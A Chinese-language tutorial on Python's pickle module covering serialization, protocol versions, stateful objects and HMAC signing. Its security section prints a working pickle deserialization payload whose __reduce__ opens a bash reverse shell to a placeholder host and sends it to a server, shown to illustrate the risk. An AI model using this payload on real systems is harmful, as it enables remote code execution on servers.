簡介
當重複讀取對象時,當構建一次對象耗時太長時,或需要進行網絡傳輸時,意味着需要進行序列化
對一個Python對象進行二進制序列化使用pickle
模塊,序列化後數據不可直觀閱讀
警告:
pickle模塊不安全,應該只對信任的數據進行unpickle操作,請考慮使用 hmac 對數據進行簽名,確保數據沒有被篡改。
在你處理不信任數據時,更安全的序列化格式如 json 更適合。
如無必要,用JSON序列化數據更快更方便,詳細查閱Don’t Pickle Your Data:
- pickle很慢
- pickle不安全
初試
pickle.dump()
:二進制序列化
pickle.load()
:讀取
import pickle
message = {'name': 'XerCis', 'age': 23, 'personality': 'awesome'}
filepath = 'test.pkl'
with open(filepath, mode='wb') as f:
pickle.dump(message, f, pickle.HIGHEST_PROTOCOL) # 二進制序列化,最高版本數據流格式
with open(filepath, mode='rb') as f:
print(pickle.load(f)) # 讀取
# {'name': 'XerCis', 'age': 23, 'personality': 'awesome'}
test.pkl 長這樣
pickle.dumps()
:二進制序列化爲bytes
pickle.loads()
:讀取bytes
import pickle
message = {'name': 'XerCis', 'age': 23, 'personality': 'awesome'}
new_message = pickle.loads(pickle.dumps(message)) # 直接序列化爲bytes
print(new_message)
數據流格式
傳入參數protocol
,默認爲3,可爲0、1、2、3、4
常量pickle.HIGHEST_PROTOCOL
爲本Python最高版本數據流格式
版本 | 特點 | 備註 |
---|---|---|
v0 | 人類可讀,向後兼容 | |
v1 | 二進制,向後兼容 | |
v2 | Python 2.3 引入,存儲 new-style class 更高效 | PEP 307 |
v3 | Python 3.0 引入,顯式支持 bytes 字節對象,爲 Python 3.0-3.7 默認協議 | Python 2 不能讀取 |
v4 | Python 3.4 引入,更大對象,更多種類,數據優化,爲 Python 3.8 默認協議 | PEP 3154 |
v5 | Python 3.8 引入,支持帶外數據,加速帶內數據處理 | PEP 574 |
v0 版協議:
能保存的對象
None
、True
和False
- 整數、浮點數、複數
- str、byte、bytearray
- 只包含可封存對象的集合,包括 tuple、list、set 和 dict
- 定義在模塊最外層的函數(使用 def 定義而非lambda 函數)
- 定義在模塊最外層的內置函數
- 定義在模塊最外層的類
- 某些類實例,這些類的 __dict__ 屬性值或 __getstate__() 函數的返回值可以保存
實例
處理有狀態的對象需要實現__getstate__()
和 __setstate__()
方法
test.txt
劉一
陳二
張三
李四
王五
趙六
孫七
周八
吳九
鄭十
帶狀態的文本讀取器
import pickle
class TextReader:
'''帶狀態的文本讀取器'''
def __init__(self, filename):
self.filename = filename # 文件名
self.file = open(filename, encoding='utf-8')
self.lineno = 0 # 讀到第幾行
def readline(self):
self.lineno += 1
line = self.file.readline()
if not line:
return None
if line.endswith('\n'):
line = line[:-1]
return "%i: %s" % (self.lineno, line)
def __getstate__(self):
state = self.__dict__.copy() # 複製當前狀態
del state['file'] # 刪除不能序列化的內容
return state
def __setstate__(self, state):
self.__dict__.update(state) # 恢復狀態
self.file = open(self.filename, encoding='utf-8')
for _ in range(self.lineno):
self.file.readline()
if __name__ == '__main__':
reader = TextReader("test.txt")
print(reader.readline())
print(reader.readline())
filepath = 'reader.pkl'
with open(filepath, mode='wb') as f:
pickle.dump(reader, f, pickle.HIGHEST_PROTOCOL)
with open(filepath, mode='rb') as f:
new_reader = pickle.load(f) # 讀取
print(new_reader.readline())
持久化外部對象
在 pickler 中實現 persistent_id()
方法,參數爲被保存對象,返回 None 或 被保存對象的持久化ID
註解:序列化是一種比持久化更底層的概念
詳細查閱持久化外部對象
hmac簽名
如果客戶端不受信任,攻擊者可以獲取服務器訪問權限
pickle最佳實踐,查閱 Python pickling: What it is and how to use it securely
class Shell_code(object):
def __reduce__(self):
return (os.system,('/bin/bash -i >& /dev/tcp/"Client IP"/"Listening PORT" 0>&1',))
shell = cPickle.dumps(Shell_code())
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect(('Server IP','Server PORT'))
client_socket.send(shell)
對序列化後的數據進行簽名
import hmac
import pickle
import hashlib
message = {'name': 'XerCis', 'age': 23, 'personality': 'awesome'}
data = pickle.dumps(message)
digest = hmac.new(bytes('shared-key', encoding='utf-8'), data, hashlib.sha1).hexdigest()
# 同時發送簽名和序列化數據
rec_digest = digest
rec_data = data # 假設收到序列化數據
new_digest = hmac.new(bytes('shared-key', encoding='utf-8'), rec_data, hashlib.sha1).hexdigest()
print(new_digest)
print(rec_digest)
if new_digest == rec_digest:
print(pickle.loads(rec_data))
else:
print('Integrity check failed')
# 2d8fa8e0f9b36cfe616e03e4e6b0e403b01fc6e1
# 2d8fa8e0f9b36cfe616e03e4e6b0e403b01fc6e1
# {'name': 'XerCis', 'age': 23, 'personality': 'awesome'}
可視化
PickleViewer下載地址,個人感覺功能挺雞肋的